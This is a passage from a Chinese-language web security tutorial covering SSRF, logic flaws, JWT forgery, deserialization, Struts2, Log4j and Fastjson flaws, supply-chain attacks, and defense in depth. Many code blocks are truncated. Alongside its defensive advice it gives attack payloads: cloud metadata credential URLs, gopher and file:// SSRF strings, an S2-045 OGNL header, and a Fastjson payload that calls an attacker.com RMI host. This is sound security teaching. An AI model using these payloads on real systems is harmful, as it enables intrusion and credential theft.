1 | # Django |
第八章 SSRF漏洞
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。
8.1 SSRF原理
8.1.1 攻击原理与流程
1 | 攻击者 →→→→→→→→→→→→→→→→┐ |
8.1.2 常见触发点
1. URL参数:
1 | $url = $_GET['url']; |
2. 图片URL:
1 | $image_url = $_GET['image']; |
3. 文件预览:
1 | $file = $_GET['file']; |
8.2 SSRF利用方式
8.2.1 内网探测
1 | # 探测内网服务 |
8.2.2 云元数据服务访问
AWS元数据服务:
1 | http://169.254.169.254/latest/meta-data/ |
获取凭据:
1 | GET http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName |
返回AWS访问密钥。
GCP元数据服务:
1 | http://metadata.google.internal/computeMetadata/v1/ |
8.2.3 协议利用
file://协议:
1 | file:///etc/passwd |
gopher://协议:
1 | gopher://127.0.0.1:6379/_*1%0d%0a$3%0d%0afake%0d%0a |
可以攻击Redis、MongoDB等服务。
dict://协议:
1 | dict://127.0.0.1:6379/INFO |
1 | http://internal-server/admin |
8.2.4 绕过技巧
IP地址编码:
1 | # 十进制 |
DNS重绑定:
攻击者控制域名先解析到公网IP,然后快速切换到内网IP:
1 | # DNS服务配置 |
URL解析绕过:
1 | # @符号绕过 |
8.3 SSRF防御措施
1. URL验证
1 | function validateUrl($url) { |
2. 使用白名单
1 | $allowed_domains = ['api.example.com', 'cdn.example.com']; |
3. 禁用危险协议
1 | // 使用cURL时限制协议 |
4. 限制请求
1 | // 设置超时 |
第九章 逻辑漏洞与业务漏洞
逻辑漏洞是由于业务逻辑设计缺陷导致的安全问题,往往难以通过传统扫描器发现,但影响巨大。
9.1 越权访问
9.1.1 水平越权与垂直越权
水平越权:同级别用户之间的未授权访问:
1 | 用户A访问用户B的订单 |
垂直越权:低权限用户访问高权限资源:
1 | 普通用户访问管理员页面 |
9.1.2 检测方法
1. 修改参数测试:
1 | GET /api/user/123 -> 返回用户123的信息 |
2. 角色权限测试:
1 | 普通用户 -> 访问管理员API -> 应该返回403 |
9.1.3 防御措施
1. 权限验证中间件:
1 |
|
2. 对象级权限检查:
1 | def can_access(user_id, resource_id): |
9.2 接口参数篡改
9.2.1 常见篡改场景
价格篡改:
1 | <form action="/checkout" method="POST"> |
攻击者修改price为1。
数量篡改:
1 | POST /api/cart/add |
用户ID篡改:
1 | POST /api/profile/update |
9.2.2 防御措施
1. 服务端验证所有参数:
1 | # 价格必须从服务端获取 |
2. 参数签名验证:
1 | # 客户端提交参数 |
9.3 重放攻击与竞态条件
9.3.1 原理与利用
重放攻击:攻击者记录并重放合法请求:
1 | 1. 用户发起转账请求: POST /api/transfer?to=B&amount=1000 |
竞态条件:利用时间差绕过检查:
1 | 1. 检查余额: 账户余额 = $100 |
9.3.2 防御措施
1. 使用Nonce(一次性随机数):
1 | def transfer(to, amount, nonce): |
2. 幂等性设计:
1 | def create_order(order_id, idempotency_key): |
3. 数据库事务:
1 | START TRANSACTION; |
9.4 身份伪造
9.4.1 Cookie/Token伪造
攻击者通过猜测、窃取或伪造认证凭据来冒充他人身份。
Token预测:
1 | # 不安全:使用可预测的Token |
Cookie伪造:
1 | # 不安全:存储用户ID |
9.4.2 JWT安全
JWT结构:
1 | Header.Payload.Signature |
常见JWT漏洞:
- None算法:
1 | { |
改为:
1 | { |
- 密钥混淆(Key Confusion):
将HS256的公钥用于RS256验证。
JWT防御:
1 | # 1. 验证算法 |
9.4.3 防御措施
1. 使用安全框架管理会话:
1 | # 使用PyJWT |
2. 敏感操作重新认证:
1 | def transfer_money(amount): |
第十章 反序列化漏洞
反序列化漏洞是Web安全中最危险的漏洞类型之一,可以直接导致远程代码执行。
10.1 反序列化漏洞概述
10.1.1 Java/PHP反序列化的区别
Java反序列化:
1 | // 危险的反序列化 |
Java使用readObject()方法反序列化,攻击者可以通过构造恶意的序列化对象来执行代码。
PHP反序列化:
1 | // 危险的反序列化 |
PHP使用unserialize()函数,可能触发魔术方法(如__wakeup(), __destruct())。
10.1.2 攻击原理
Java Payload生成:
1 | // 使用ysoserial生成Payload |
常见 Gadget Chain:
| 库 | Gadget | 说明 |
|---|---|---|
| Commons Collections | TransformedMap | 触发任意方法调用 |
| Spring | SpringBeans | 利用Spring框架 |
| Jackson | Jackson | 反序列化触发 |
PHP Magic Methods:
1 | class Demo { |
10.1.3 防御措施
1. 避免反序列化用户输入
1 | // 使用JSON替代 |
2. 使用安全框架
1 | // 使用Shiro的SerializableCookie |
3. 添加签名验证
1 | // 对序列化数据签名 |
4. 隔离反序列化环境
1 | // 在独立的类加载器中反序列化 |
第十一章 第三方组件漏洞
现代Web应用依赖大量的第三方组件,这些组件的安全状况直接影响应用的安全性。
11.1 常见框架漏洞
11.1.1 Struts2漏洞
Apache Struts2曾多次曝出严重漏洞:
S2-045(RCE):
1 | Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Upload',233*233)} |
S2-057(RCE):
URL标签未正确验证导致远程代码执行。
11.1.2 Log4j漏洞
Log4Shell (CVE-2021-44228):
1 | // 恶意输入 |
11.1.3 Fastjson漏洞
反序列化RCE:
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/Exploit","autoCommit":true} |
11.1.4 组件资产管理
使用软件成分分析(SCA):
1 | # 使用OWASP Dependency-Check |
建立依赖更新机制:
1 | # dependabot配置 |
11.2 供应链攻击
11.2.1 CDN劫持
攻击者劫持CDN域名或DNS,将恶意代码注入到前端资源:
1 | <!-- 原始 --> |
11.2.2 依赖混淆
利用包管理器优先选择公共仓库的特性:
1 | # NPM包名 |
11.2.3 防御措施
1. 锁定依赖版本
1 | // package.json |
2. 使用私有仓库
1 | # npm配置 |
3. Subresource Integrity(SRI)
1 | <script src="https://cdn.example.com/library.js" |
4. 监控依赖安全:
1 | # GitHub Dependabot 自动更新 |
第十二章 Web安全防御体系
12.1 纵深防御策略
纵深防御(Defense in Depth)是在多个层面部署安全控制的策略:
网络层:
- 防火墙(WAF)
- DDoS防护
- 网络隔离
- IDS/IPS
应用层:
- 输入验证
- 输出编码
- 认证授权
- 会话管理
数据层:
- 加密存储
- 访问控制
- 备份策略
主机层:
- 最小权限
- 安全配置
- 漏洞管理
- 入侵检测
12.2 安全开发实践
安全开发生命周期(SDL):
- 培训:安全意识培训
- 需求:安全需求分析
- 设计:威胁建模
- 实现:安全编码
- 验证:安全测试
- 发布:安全部署
- 响应:应急响应
安全编码规范:
- OWASP安全编码指南
- CERT安全编码标准
- CWE/SANS TOP 25
12.3 安全测试方法论
渗透测试阶段:
- 信息收集:收集目标信息
- 威胁建模:识别潜在威胁
- 漏洞分析:发现安全问题
- 利用:验证漏洞可利用性
- 报告:编写渗透测试报告
自动化测试:
- SAST(静态应用安全测试)
- DAST(动态应用安全测试)
- IAST(交互式应用安全测试)
- SCA(软件成分分析)
12.4 安全运营与监控
安全运营中心(SOC):
- 7x24监控
- 事件响应
- 威胁情报
- 漏洞管理
日志与监控:
1 | # 结构化日志 |
关键指标:
- MTTD(平均检测时间)
- MTTR(平均响应时间)
- 漏洞修复率
- 安全事件数量
总结
本文系统性地介绍了HTTP协议的基础知识以及各类Web安全漏洞的原理、利用方式和防御措施。Web安全是一个复杂的系统工程,需要我们从协议层面、应用层面、运营层面等多个维度进行全面防护。
关键要点回顾:
HTTP协议理解是基础:深入理解HTTP请求响应机制、安全头、状态码等是进行Web安全工作的基础。
注入漏洞危害严重:SQL注入、命令注入等注入类漏洞仍是Web安全的主要威胁,预编译语句和输入验证是核心防御手段。
XSS需要多层防护:结合输入验证、输出转义、CSP和HttpOnly Cookie等多种手段。
文件上传安全:白名单验证、MIME检查、文件重命名和目录不可执行是关键。
信息泄露不可忽视:详细的错误信息、备份文件、版本控制目录等都可能成为攻击者的突破口。
逻辑漏洞需要业务视角:需要从业务逻辑角度发现和修复这类漏洞。
第三方组件是薄弱环节:建立依赖管理和安全监控机制,及时更新补丁。
纵深防御是最佳实践:在多个层面部署安全控制,单点失败不会导致整体沦陷。
Web安全形势不断变化,新的漏洞类型和攻击手法层出不穷。安全从业人员需要持续学习、实践和研究,关注最新的安全动态,不断提升安全能力。
参考资料:
- OWASP Top 10 (2021)
- OWASP WebGoat
- PortSwigger Web Security Academy
- CWE Top 25
- RFC 7231 (HTTP/1.1 Semantics and Content)
- 《Web应用安全权威指南》
- 《白帽子讲Web安全》






